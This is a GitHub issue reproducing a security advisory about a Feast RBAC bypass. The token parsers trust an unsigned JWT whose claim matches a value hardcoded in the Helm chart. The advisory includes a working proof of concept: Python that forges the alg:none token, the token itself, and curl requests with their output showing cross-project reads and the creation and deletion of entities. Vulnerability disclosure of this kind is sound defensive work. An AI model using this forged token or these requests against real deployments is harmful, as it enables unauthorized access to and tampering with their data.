Skip to content

Hardcoded intra-server-communication trust value in OidcTokenParser/KubernetesTokenParser allows full unauthenticated RBAC bypass #6785

Description

@geo-chen

reported on 7 July 2026 via https://github.com/feast-dev/feast/security/advisories/GHSA-h543-6vgr-fm36:

Summary

Feast's RBAC system lets internal Feast components (e.g. a feature server calling the registry server) skip normal authentication by sending a token whose preferred_username (OIDC) or service-account name (Kubernetes) claim matches the value of the INTRA_COMMUNICATION_BASE64 environment variable. Both token parsers check this value against a completely unverified JWT decode, performed before any signature check or IdP round-trip. The value it is compared against is hardcoded to a fixed, publicly-known string in Feast's own Helm chart (infra/charts/feast-feature-server/templates/deployment.yaml): base64("intra-server-communication").

Any user who can send an HTTP/gRPC/Arrow Flight request to a Feast server deployed with this chart (or any deployment that copies this common default) can craft a JWT with an empty/garbage signature and this one claim, and be granted a special "intra-communication" identity that Feast's security manager treats as fully trusted, skipping every permission check in the RBAC system for every project on that server: full read of every project's entities, feature views, data sources, and permission policies, and full create/update/delete of all of them.

Details

SecurityManager.assert_permissions/permitted_resources in sdk/python/feast/permissions/security_manager.py first call is_auth_necessary:

# sdk/python/feast/permissions/security_manager.py:238-254
def is_auth_necessary(sm: Optional[SecurityManager]) -> bool:
    intra_communication_base64 = os.getenv("INTRA_COMMUNICATION_BASE64")

    if sm is None:
        return False

    if sm.current_user is None:
        return True

    if sm.current_user.username == intra_communication_base64:
        return False          # <-- ALL permission checks are skipped

    return True

If is_auth_necessary returns False, assert_permissions and permitted_resources both return every requested resource unchecked - no Permission object is ever consulted.

The "current user" is set per-request by inject_user_details (REST) / the gRPC and Arrow Flight auth interceptors, which all call the same AuthManager.token_parser.user_details_from_access_token(). For OIDC mode this is OidcTokenParser:

# sdk/python/feast/permissions/auth/oidc_token_parser.py:150-158
try:
    unverified = jwt.decode(access_token, options={"verify_signature": False})
except jwt.exceptions.DecodeError as e:
    raise AuthenticationError(f"Failed to decode token: {e}")

user = self._get_intra_comm_user(unverified)
if user:
    return user            # <-- returned BEFORE _validate_token()/_decode_token() (JWKS) ever runs
# sdk/python/feast/permissions/auth/oidc_token_parser.py:252-265
@staticmethod
def _get_intra_comm_user(decoded_token: dict) -> Optional[User]:
    intra_communication_base64 = os.getenv("INTRA_COMMUNICATION_BASE64")
    if intra_communication_base64:
        if "preferred_username" in decoded_token:
            preferred_username: str = decoded_token["preferred_username"]
            if preferred_username == intra_communication_base64:
                return User(username=preferred_username, roles=[])
    return None

jwt.decode(..., options={"verify_signature": False}) accepts any syntactically valid JWT regardless of algorithm or signature. Only after this early return does the parser call _validate_token (OAuth2 bearer check) and _decode_token (genuine JWKS RS256 signature verification against the configured IdP). Normal users therefore are properly signature-checked (confirmed below) - it is specifically the intra-communication identity that bypasses this entirely.

KubernetesTokenParser.user_details_from_access_token has the mirror-image issue (sdk/python/feast/permissions/auth/kubernetes_token_parser.py:52-60): it extracts sub from an unverified decode (_decode_token, itself calling jwt.decode(access_token, options={"verify_signature": False}) at line 465) and if the extracted service-account name equals INTRA_COMMUNICATION_BASE64, returns a trusted User immediately. The preceding TokenReview call (_extract_groups_and_namespaces_from_token) swallows all exceptions and simply returns empty groups/namespaces on failure rather than aborting, so an invalid/unauthenticated token does not stop the unverified sub check from being reached.

The value being compared against is not a per-deployment secret. It is hardcoded in Feast's own Helm chart:

# infra/charts/feast-feature-server/templates/deployment.yaml:43-47
env:
  - name: FEATURE_STORE_YAML_BASE64
    value: {{ .Values.feature_store_yaml_base64 }}
  - name: INTRA_COMMUNICATION_BASE64
    value: {{ "intra-server-communication" | b64enc }}

{{ "intra-server-communication" | b64enc }} evaluates to the constant aW50cmEtc2VydmVyLWNvbW11bmljYXRpb24= on every deployment made with this chart - it is not templated from a per-install secret or generated randomly. This exact string is also what Feast's own legitimate client code sends, confirming the intended (and, as shown, entirely unverified) format of the trust token:

# sdk/python/feast/permissions/client/intra_comm_authentication_client_manager.py:18-32
def get_token(self):
    if self.auth_config.type == AuthType.OIDC.value:
        payload = {"preferred_username": f"{self.intra_communication_base64}"}
    elif self.auth_config.type == AuthType.KUBERNETES.value:
        payload = {"sub": f":::{self.intra_communication_base64}"}
    ...
    return jwt.encode(payload, "", algorithm="none")

Feast's own internal client mints this token with algorithm="none" and an empty key - i.e., the legitimate, by-design credential for this bypass is an unsigned token. Any external caller who reproduces this exact, publicly-documented shape gets the same trust level as an internal Feast component, on every serving interface, because REST (permissions/server/rest.py), gRPC (permissions/server/grpc.py) and Arrow Flight (permissions/server/arrow.py) all resolve the current user through the same token_parser.user_details_from_access_token() call.

PoC

Environment: Feast REST Registry Server (feast serve_registry --no-grpc --rest-api) started with auth.type: oidc pointed at a local mock IdP (JWKS/RS256, so genuine signature verification is exercised), INTRA_COMMUNICATION_BASE64 set to the exact value the official Helm chart hardcodes (aW50cmEtc2VydmVyLWNvbW11bmljYXRpb24= = base64("intra-server-communication")), and two projects (project_a, project_b) each with one entity, one feature view, and a RoleBasedPolicy Permission requiring a project-specific role (project_a_reader / project_b_reader) for DESCRIBE/READ_*.

  1. No token -> denied (auth is active):
$ curl -s -w "\nHTTP_STATUS:%{http_code}\n" "http://127.0.0.1:6572/api/v1/entities?project=project_a"
{"status_code":401,"detail":"Invalid or expired access token","error_type":"HTTPException"}
HTTP_STATUS:401
  1. A properly-signed (RS256, JWKS-verified) token for a user with no matching role -> denied, proving normal RBAC and normal signature verification are both actively enforced:
$ curl -s -w "\nHTTP_STATUS:%{http_code}\n" -H "Authorization: Bearer $NOPRIV" \
    "http://127.0.0.1:6572/api/v1/entities?project=project_a"
{"status_code":403,"detail":"Permission error:\nPermission project_a_reader_permission denied execution of ['DESCRIBE'] to Entity:user_id: Requires roles ['project_a_reader']","error_type":"FeastPermissionError"}
HTTP_STATUS:403
  1. The forged bypass token, built exactly like Feast's own internal client (alg: none, empty signature, preferred_username = the hardcoded chart value):
import jwt
payload = {"preferred_username": "aW50cmEtc2VydmVyLWNvbW11bmljYXRpb24="}
token = jwt.encode(payload, "", algorithm="none")
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhVzUwY21FdGMyVnlkbVZ5TFdOdmJXMTFibWxqWVhScGIyND0ifQ.

Using this token, with no valid signature and no assigned role whatsoever:

Read every permission policy on the server (would normally require a dedicated "read permissions" grant):

$ curl -s -H "Authorization: Bearer $TOKEN" "http://127.0.0.1:6572/api/v1/permissions?project=project_a"
{"permissions":[{"spec":{"name":"project_a_reader_permission","types":["PROJECT","FEATURE_VIEW", ... ],
"actions":["DESCRIBE","READ_OFFLINE","READ_ONLINE"],"policy":{"roleBasedPolicy":{"roles":["project_a_reader"]}}}, ...}]}
HTTP_STATUS:200

Read a feature view (including its data source file path) in a different project than any legitimate reader role would allow:

$ curl -s -H "Authorization: Bearer $TOKEN" "http://127.0.0.1:6572/api/v1/feature_views?project=project_b"
{"featureViews":[{"spec":{"name":"project_b_public_metrics", ... ,
"batchSource":{"fileOptions":{"uri":"/.../data/project_b_data.parquet"}, ...}}, ...}]}
HTTP_STATUS:200

Create an arbitrary new entity in project_b (CREATE, no permission held):

$ curl -s -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
    -d '{"name":"attacker_planted_entity","project":"project_b","join_key":"attacker_id"}' \
    "http://127.0.0.1:6572/api/v1/entities"
{"name":"attacker_planted_entity","project":"project_b","status":"applied"}
HTTP_STATUS:201

Delete it again (DELETE, no permission held):

$ curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
    "http://127.0.0.1:6572/api/v1/entities/attacker_planted_entity?project=project_b"
{"name":"attacker_planted_entity","project":"project_b","status":"deleted"}
HTTP_STATUS:200

Every one of these calls used a token with an empty/garbage signature and zero assigned roles, against a server that had just correctly rejected a properly-signed, unprivileged, properly-authenticated user for the exact same operation.

Impact

Any network caller able to reach a Feast registry server, feature server, or Arrow Flight server running in oidc or kubernetes auth mode with the default/documented Helm-chart configuration can fully bypass RBAC: read every entity, feature view, data source (including data source connection details such as file/table paths and query strings), saved dataset, and permission policy across every project on that server, and create, update, or delete any of them, with no valid credential of any kind. Because the trust value is a fixed constant published in Feast's own source tree rather than a per-deployment secret, this is exploitable against any deployment that has not manually overridden INTRA_COMMUNICATION_BASE64 to a private, unpublished value - which most default installs following the official Helm chart will not have done.

version: commit f296d4b

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions